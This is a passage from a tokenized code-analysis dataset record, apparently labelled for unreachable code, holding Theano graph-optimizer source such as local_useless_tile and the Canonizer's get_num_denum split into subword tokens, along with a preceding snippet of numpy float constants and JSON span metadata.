'47.22482251', '47.22659372', '47.22836493',\n'47.23013614', '47.23190735', '47.23367855', '47.23544976',\n'47.23722097', '47.23899218', '47.24076339', '47.24253460',\n'47.24430581', '47.24607702', '47.24784823', '47.24961944',\n'47.25139065', '47.25316186', '47.25493307', '47.25670429',\n'47.25847550', '47.26024671', '47.26201792', '47.26378913',\n'47.26556034', '47.26733155', '47.26910276', '47.27087397',\n'47.27264518', '47.27441640', '47.27618761', '47.27795882',\n'47.27973003', '47.28150124', '47.28327246', '47.28504367',\n'47.28681488', '47.28858609', '47.29035730', '47.29212852',\n'47.29389973', '47.29567094', '47.29744215', '47.29921337',\n'47.30098458', '47.30275579', '47.30452701', '47.30629822',\n'47.30806943', '47.30984065', '47.31161186', '47.31338307',\n'47.31515429', '47.31692550', '47.31869671', '47.32046793',\n'47.32223914', '47.32401036', '47.32578157', '47.32755278',\n'47.32932400', '47.33109521', '47.33286643', '47.33463764',\n'47.33640886', '47.33818007', '47.33995129', '47.34172250',\n'47.34349372', '47.34526493', '47.34703615', '47.34880736',\n'47.35057858', '47.35234979', '47.35412101', '47.35589223'])\np64=[(numpy.exp(-(x**2)))/scipy.special.erfc(x)for x in r]\na128=[x*((1-1/(2*x**2)+3/(4*x**4)-15/(8*x**6))**(-1))\n *numpy.float128(numpy.sqrt(numpy.pi))\n for x in numpy.asarray(r,dtype='float128')]\na64=[x*((1-1/(2*x**2)+3/(4*x**4)-15/(8*x**6)+63/(7*x**8))**(-1))\n *numpy.sqrt(numpy.pi)\n for x in r] for a,b,c,d in zip(r,p128,p64,a64):print a,b,c,d,c-b,d-b\n\nfor i in xrange(1,len(p64)): print i, 64[i]-p64[i-1]\n \"\"\"", "start_line": 6178, "start_column": 4, "end_line": 6346, "end_column": 6 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "register", "\\u", "canonicaliz", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "register", "\\u", "stab", "iliz", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "gof", "_", "._", "local", "\\u", "optimizer_", "(_", "[_", "T_", "._", "Tile_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "local", "\\u", "usel", "ess", "\\u", "tile_", "(_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Til", "e", "(", "x", ",", " ", "(", "1", ",)", "*", "N", ")", " ", "->", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "is", " ", "usel", "ess", " ", "tile", ".", " ", "(", "1", ",)", "*", "N", ",", " ", "just", " ", "mean", " ", "a", " ", "vector", " ", "with", " ", "all", " ", "element", "\\", "10", ";", " ", " ", " ", " ", "bei", "ng", " ", "1", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "node_", "._", "op_", ",_", "T_", "._", "Tile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "T_", "._", "get", "\\u", "scala", "r", "\\u", "constant", "\\u", "value_", "(_", "node_", "._", "inputs_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "a_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "l_", "=_", "T_", "._", "get", "\\u", "vector", "\\u", "length_", "(_", "node_", "._", "inputs_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "l_", "==_", "node_", "._", "inputs_", "[_", "0_", "]_", "._", "ndim_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", " ", "need", " ", "to", " ", "copy", " ", "over", " ", "any", " ", "stack", "trace", " ", "as", " ", "previous_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", " ", "variab", "le", " ", "alr", "ead", "y", " ", "has", " ", "a", " ", "stack", "trace_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "return_", "[_", "node_", "._", "inputs_", "[_", "0_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "l_", "<_", "node_", "._", "inputs_", "[_", "0_", "]_", "._", "ndim_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "Op", " ", "don", "'", "t", " ", "support", " ", "tha", "t", " ", "case", ",", " ", "so", " ", "we", " ", "can", "'", "t_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "implement", " ", "the", " ", "opt", " ", "and", " ", "test", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "node_", "._", "inputs_", "[_", "0_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "Op", " ", "don", "'", "t", " ", "support", " ", "tha", "t", " ", "case", ",", " ", "so", " ", "we", " ", "can", "'", "t_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "implement", " ", "the", " ", "opt", " ", "and", " ", "test", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x", "\\u", "nd_", "=_", "node_", "._", "inputs_", "[_", "0_", "]_", "._", "ndim_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "broad", "_", "=_", "[_", "'", "x", "'_", "]_", "*_", "(_", "l_", "-_", "x", "\\u", "nd_", ")_", "+_", "xrange_", "(_", "x", "\\u", "nd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "node_", "._", "inputs_", "[_", "0_", "]_", "._", "dims", "huff", "le_", "(_", "broad", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Copy", " ", "over", " ", "stack", "trace", " ", "from", " ", "previ", "ous", " ", "output", " ", "node", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "from", " ", "node", " ", "bef", "ore", " ", "tili", "ng", " ", "operati", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "copy", "\\u", "stack", "\\u", "trace_", "(_", "node_", "._", "outputs_", "+_", "node_", "._", "inputs_", "[_", "0_", "]_", ",_", "ret_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "ret_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Not", "Scala", "r", "Const", "ant", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "register", "\\u", "canonicaliz", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "gof", "_", "._", "local", "\\u", "optimizer_", "(_", "[_", "T_", "._", "Res", "hape_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "local", "\\u", "scala", "r", "\\u", "reshape_", "(_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Elimina", "te", " ", "reshape", " ", "Op", "s", " ", "who", "se", " ", "inputs", " ", "and", " ", "output", "s", " ", "are", " ", "scalars", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "node_", "._", "op_", ",_", "T_", "._", "Res", "hape_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "shp_", "=_", "node_", "._", "inputs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "x_", "._", "ndim_", "==_", "0_", "and_", "T_", "._", "get", "\\u", "vector", "\\u", "length_", "(_", "shp_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "x_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "register", "\\u", "canonicaliz", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "gof", "_", "._", "local", "\\u", "optimizer_", "(_", "[_", "T_", "._", "Sum_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "local", "\\u", "sum", "\\u", "over", "\\u", "empty_", "(_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "node_", "._", "op_", ",_", "T_", "._", "Sum_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "optimization", " ", "need", "s", " ", "Shape", "Opt", " ", "and", " ", "fg", "raph", ".", "shape", "\\u", "feature_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "hasattr_", "(_", "node_", "._", "fg", "raph_", ",_", "'", "shape", "\\u", "feature", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "y_", ",_", "=_", "node_", "._", "outputs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "\\u", "shape_", "=_", "node_", "._", "fg", "raph_", "._", "shape", "\\u", "feature_", "._", "shape", "\\u", "of_", "[_", "y_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "tmp_", "(_", "thing_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "T_", "._", "get", "\\u", "scala", "r", "\\u", "constant", "\\u", "value_", "(_", "thing_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Type", "Error_", ",_", "Value", "Error_", ")_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "(_", "e_", ",_", "thing_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "'", "LOCAL", " ", "SUM", " ", "EMP", "TY", "'_", ",_", "[_", "tmp_", "(_", "s_", ")_", "for_", "s_", "in_", "y", "\\u", "shape_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Can", "oni", "zer_", "(_", "gof", "_", "._", "Local", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "num", "\\u", "den", "um_", "(_", "self_", ",_", "input_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "extract", " ", "two", " ", "lists", ",", " ", "num", " ", "and", " ", "den", "um", ",", " ", "suc", "h", " ", "tha", "t", " ", "the", " ", "input", " ", "is", ":", "\\", "10", ";", " ", " ", " ", " ", "self", ".", "inv", "erse", "(", "self", ".", "main", "(\\\\", "*", "num", "),", " ", "self", ".", "main", "(\\\\", "*", "den", "um", "))", ".", " ", "It", " ", "return", "s", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "two", " ", "lists", " ", "in", " ", "a", " ", "(", "num", ",", " ", "den", "um", ")", " ", "pair", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "example", ",", " ", "for", " ", "main", ",", " ", "inv", "erse", " ", "and", " ", "reciproc", "al", " ", "=", " ", "\\\\*", ",", " ", "/", " ", "and", " ", "inv", "()", ",", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "input", " ", "->", " ", "return", "ed", " ", "value", " ", "(", "num", ",", " ", "den", "um", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "x", "*", "y", " ", "->", " ", "([", "x", ",", " ", "y", "],", " ", "[]", ")", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "inv", "(", "x", ")", " ", "->", " ", "([", "],", " ", "[", "x", "])", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "inv", "(", "x", ")", " ", "*", " ", "inv", "(", "y", ")", " ", "->", " ", "([", "],", " ", "[", "x", ",", " ", "y", "])", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "x", "*", "y", "/", "z", " ", "->", " ", "([", "x", ",", " ", "y", "],", " ", "[", "z", "])", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "log", "(", "x", ")", " ", "/", " ", "y", " ", "*", " ", "(", "z", " ", "+", " ", "x", ")", " ", "/", " ", "y", " ", "->", " ", "([", "log", "(", "x", "),", " ", "z", " ", "+", " ", "x", "],", " ", "[", "y", ",", " ", "y", "])", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "(((", "a", " ", "/", " ", "b", ")", " ", "*", " ", "c", ")", " ", "/", " ", "d", ")", " ", "->", " ", "([", "a", ",", " ", "c", "],", " ", "[", "b", ",", " ", "d", "])", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "a", " ", "/", " ", "(", "b", " ", "/", " ", "c", ")", " ", "->", " ", "([", "a", ",", " ", "c", "],", " ", "[", "b", "])", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "log", "(", "x", ")", " ", "->", " ", "([", "log", "(", "x", ")]", ",", " ", "[]", ")", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "x", "**", "y", " ", "->", " ", "([", "x", "**", "y", "],", " ", "[]", ")", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "x", " ", "*", " ", "y", " ", "*", " ", "z", " ", "->", " ", "([", "x", ",", " ", "y", ",", " ", "z", "],", " ", "[]", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "function", " ", "is", " ", "recurs", "ive", ".", " ", " ", "The", " ", "idea", " ", "is", " ", "tha", "t", " ", "there", " ", "is", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", "\\u", "num", "\\u", "den", "um", " ", "recursion", " ", "in", " ", "whi", "ch", " ", "the", " ", "internal", " ", "ops", " ", "are", " ", "all_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "one", " ", "of", " ", "(", "main", ",", " ", "inv", "erse", ",", " ", "reciproc", "al", ",", " ", "Dim", "Shuffle", ")", " ", "and", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "internal", " ", "data", " ", "nodes", " ", "all", " ", "have", " ", "the", " ", "dt", "ype", " ", "of", " ", "the", " ", "'", "input", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "argu", "ment", ".", " ", "The", " ", "leaf", "-", "Varia", "bles", " ", "of", " ", "the", " ", "graph", " ", "covered", " ", "by", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "recursion", " ", "may", " ", "be", " ", "of", " ", "any", " ", "Varia", "ble", " ", "type", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "UPDATE", ":", " ", "Thi", "s", " ", "logic", " ", "make", "s", " ", "it", " ", "impossible", " ", "to", " ", "recognize", " ", "some", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "importa", "nt", " ", "pattern", "s", " ", "(", "e", ".", "g", ".", " ", "variant", "s", " ", "on", " ", "the", " ", "x", "/", "x", ")", " ", "and", " ", "it", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "scre", "wing", " ", "up", " ", "the", " ", "RB", "M", " ", "free", " ", "energ", "y", " ", "gradi", "ent", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "review", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "input_", "._", "clients_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "this", " ", "logic", " ", "is", " ", "too", " ", "conserv", "ative", ",", " ", "but", " ", "doi", "ng", " ", "it", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bett", "er", " ", "than", " ", "not", " ", "doi", "ng", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "don", "'", "t", " ", "want", " ", "to", " ", "canon", "ize", " ", "a", " ", "subgraph", " ", "tha", "t", " ", "we", " ", "will", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "need", " ", "to", " ", "compute", " ", "anyway", " ", "for", " ", "the", " ", "other", " ", "clients", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "check", " ", "is", " ", "too", " ", "conserv", "ative", " ", "bec", "aus", "e", " ", "if", " ", "the", " ", "other_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "clients", " ", "are", " ", "als", "o", " ", "in", " ", "the", " ", "subgraph", " ", "we", " ", "are", " ", "canon", "izi", "ng", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "then", " ", "we", " ", "shou", "ld", " ", "[", "probab", "ly", "?]", " ", "recurse", " ", "anyway", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "input_", "]_", ",_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "input_", "._", "owner_", "is_", "None_", "or_", "input_", "._", "owner_", "._", "op_", "not_", "in_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "main_", ",_", "self_", "._", "inverse_", ",_", "self_", "._", "reciproc", "al_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "input_", "._", "owner_", "and_", "isinstance_", "(_", "input_", "._", "owner_", "._", "op_", ",_", "T_", "._", "Dim", "Shuffle", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "input", " ", "is", " ", "a", " ", "Dim", "Shuffle", " ", "of", " ", "some", " ", "input", " ", "whi", "ch", " ", "doe", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "somet", "hing", " ", "like", " ", "this", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "change", " ", "a", " ", "vector", " ", "of", " ", "length", " ", "N", " ", "int", "o", " ", "a", " ", "1x", "N", " ", "row", " ", "matrix_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "change", " ", "a", " ", "scala", "r", " ", "int", "o", " ", "a", " ", "1x", "1x", "1", " ", "tensor_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "in", " ", "genera", "l", ",", " ", "complete", " ", "the", " ", "shape", " ", "of", " ", "a", " ", "tensor_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "with", " ", "broadcast", "able", " ", "1s", " ", "to", " ", "the", " ", "*", "left", "*_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", "n", " ", "we", " ", "will", " ", "simp", "ly", " ", "discard", " ", "the", " ", "Dim", "Shuffle", " ", "and", " ", "return_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "num", "/", "den", "um", " ", "of", " ", "its", " ", "input_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dsn_", "=_", "input_", "._", "owner_", "#", " ", "dims", "huff", "le", " ", "node_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dso", "p_", "=_", "dsn_", "._", "op_", "#", " ", "dims", "huff", "le", " ", "op_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "first", " ", "input", " ", "of", " ", "the", " ", "dims", "huff", "le", " ", "i", ".", "e", ".", " ", "the", " ", "ndar", "ray", " ", "to", " ", "red", "im_", "\\u\\u\\uNL\\u\\u\\u_", "dsi", "0_", "=_", "dsn_", "._", "inputs_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "compatible", " ", "order", " ", "is", " ", "a", " ", "Dim", "Shuffle", " ", "\"", "new", "\\u", "order", "\"", " ", "of", " ", "the", " ", "form", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "('", "x", "',", " ", "...", ",", " ", "'", "x", "',", " ", "0", ",", " ", "1", ",", " ", "2", ",", " ", "...", ",", " ", "dims", "huff", "le", "\\u", "input", ".", "type", ".", "ndim", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Tha", "t", " ", "kind", " ", "of", " ", "Dim", "Shuffle", " ", "only", " ", "adds", " ", "broadcast", "able_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "dimension", "s", " ", "on", " ", "the", " ", "left", ",", " ", "with", "out", " ", "discard", "ing", " ", "any_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "exist", "ing", " ", "broadcast", "able", " ", "dimension", " ", "and", " ", "is", " ", "inserted", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "automati", "call", "y", " ", "by", " ", "Ele", "mw", "ise", " ", "whe", "n", " ", "the", " ", "inputs", " ", "have_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "different", " ", "numbers", " ", "of", " ", "dimension", "s", " ", "(", "hen", "ce", " ", "wh", "y", " ", "we", " ", "can_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "discard", " ", "its", " ", "informati", "on", " ", "-", " ", "we", " ", "know", " ", "we", " ", "can", " ", "retrieve", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "late", "r", " ", "on", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "compatible", "\\u", "order_", "=_", "(_", "(_", "'", "x", "'_", ",_", ")_", "*_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "input_", "._", "type_", "._", "ndim_", "-_", "dsi", "0_", "._", "type_", "._", "ndim_", ")_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "tuple_", "(_", "range_", "(_", "dsi", "0_", "._", "type_", "._", "ndim_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dso", "p_", "._", "new", "\\u", "order_", "==_", "compatible", "\\u", "order_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "\"", "new", "\\u", "order", "\"", " ", "is", " ", "the", " ", "one", " ", "we", " ", "recognize", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "return", " ", "the", " ", "num", "\\u", "den", "um", " ", "of", " ", "the", " ", "dims", "huff", "led", " ", "input", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "self_", "._", "get", "\\u", "num", "\\u", "den", "um_", "(_", "input_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "whe", "n", " ", "the", " ", "input", " ", "isn", "'", "t", " ", "produce", "d", " ", "by", " ", "main", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "inv", "erse", " ", "or", " ", "reciproc", "al", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "[_", "input_", "]_", ",_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "input_", "]_", ",_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "num_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "den", "um_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "=_", "input_", "._", "owner_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "get", " ", "the", " ", "(", "num", ",", " ", "den", "um", ")", " ", "pair", "s", " ", "for", " ", "each", " ", "input_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pair", "s", " ", "=", " ", "[", "self", ".", "get", "\\u", "num", "\\u", "den", "um", "(", "input", "2", ")", " ", "if", " ", "input", "2", ".", "type", ".", "dt", "ype", " ", "==_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", ".", "type", ".", "dt", "ype", " ", "else", " ", "([", "input", "2", "],", " ", "[]", ")", " ", "for", " ", "input", "2", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "parent", ".", "inputs", "]_", "\\u\\u\\uNL\\u\\u\\u_", "pairs_", "=_", "[_", "self_", "._", "get", "\\u", "num", "\\u", "den", "um_", "(_", "input", "2_", ")_", "for_", "input", "2_", "in_", "parent_", "._", "inputs_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "parent_", "._", "op_", "==_", "self_", "._", "main_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "we", " ", "have", " ", "main", "(", "x", ",", " ", "y", ",", " ", "...)", ",", " ", "num", "x", ",", " ", "den", "um", "x", ",", " ", "num", "y", ",", " ", "den", "um", "y", ",", " ", "..._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "then", " ", "num", " ", "is", " ", "conc", "at", "(", "num", "x", ",", " ", "num", "y", ",", " ", "num", "...)", " ", "and", " ", "den", "um", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "conc", "at", "(", "den", "um", "x", ",", " ", "den", "um", "y", ",", " ", "den", "um", "...)", " ", "note", " ", "tha", "t", " ", "main", "()", " ", "can", " ", "have", " ", "any_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "number", " ", "of", " ", "argu", "ment", "s", " ", ">=", " ", "0", " ", "conc", "at", " ", "is", " ", "list", " ", "concate", "nation_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num_", "=_", "reduce_", "(_", 